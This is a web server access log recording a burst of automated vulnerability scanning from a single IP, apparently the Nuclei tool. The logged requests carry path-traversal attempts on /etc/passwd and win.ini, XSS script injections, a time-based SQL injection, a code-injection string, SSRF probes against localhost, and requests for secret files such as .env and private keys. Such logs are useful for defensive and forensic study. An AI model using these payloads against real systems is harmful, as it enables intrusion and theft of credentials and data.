[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phppgadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/license HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/blocktestimonial/addtestimonial.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system-diagnostics HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /internal_windows_authentication/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=....//....//windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/status/config HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/targets HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psalm.xml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?mod=login HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install/server HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //UI HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVersion HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin%202/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/top?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%0A/interact.sh/ HTTP/1.1" 199
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/production.log HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proxy HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /appInfo/assert HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/inputs HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/config.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/cartabandonmentpro/upload.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wpad.dat HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=eGaC HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpldapadmin HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/webticketservice.svc HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.1.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.user.ini HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proftpd.conf HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/ajax.php?categ=storage&datetime=undefined&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(7)))SHde)&module=ajax&sub=save&token=undefined HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmd/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log.log HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Procfile HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users/admin/check HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prometheus HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/status/flags HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service-discovery HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/checklogin.htm HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpspec.yml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php2.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /identification.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemstatus.xml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php?property-types=%27 HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?Dashboard HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protractor.conf.js HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ieuiMeetingErrorDisplay.jsp%3FErrCode%3D%27%22%3E%3Csvg%2Fonload%3Dalert('380Cy7tYHs9FpA0aj6M4MzjyGql')%3E HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pubspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWebAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /node_modules/mqtt/test/helpers/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hacked.html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /parameters.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_debugbar/open HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.pre-commit-config.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRAuth/app/default/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/webticketservice.svcabs/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /processwire/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /m/apmarketplace/passwordrecovery HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php?db=information_schema HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.www HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/webroot/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.htm HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pnpm-lock.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:110 HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /puppet-ca/v1/certificate_request/380Cy2LDpmFl7z4pLt4qx7UggUN HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/access/config HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/pr.yml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://localhost/ HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pdb/meta/v1/version HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pyproject.toml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prometheus/graph HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/retess/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pdb/dashboard/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_debug_toolbar/ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /debug/pyspidervulntest/run HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/XUI HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/MBeanServerId HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/metrics HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/aabaabc.html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /host-manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/unauth?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /directdata/direct/router HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xml/User/User.xml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_stream HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/cartabandonmentpro/uploads/ccbabcb.php.png HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/config/databases.yml HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8 HTTP/1.1" 196
[09/Jan/2026:10:52:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/production.log HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.redmine-cli HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/parameters.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:587 HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/whoami HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pre-commit-config.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photo/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hacked.txt HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /README.md HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy8SpF4Ujv9kyYj03Y7kKkf3 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pp=env HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v3/settings/first-login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/.%25%2532%2565/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_subscription HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Rakefile HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.js HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" 196
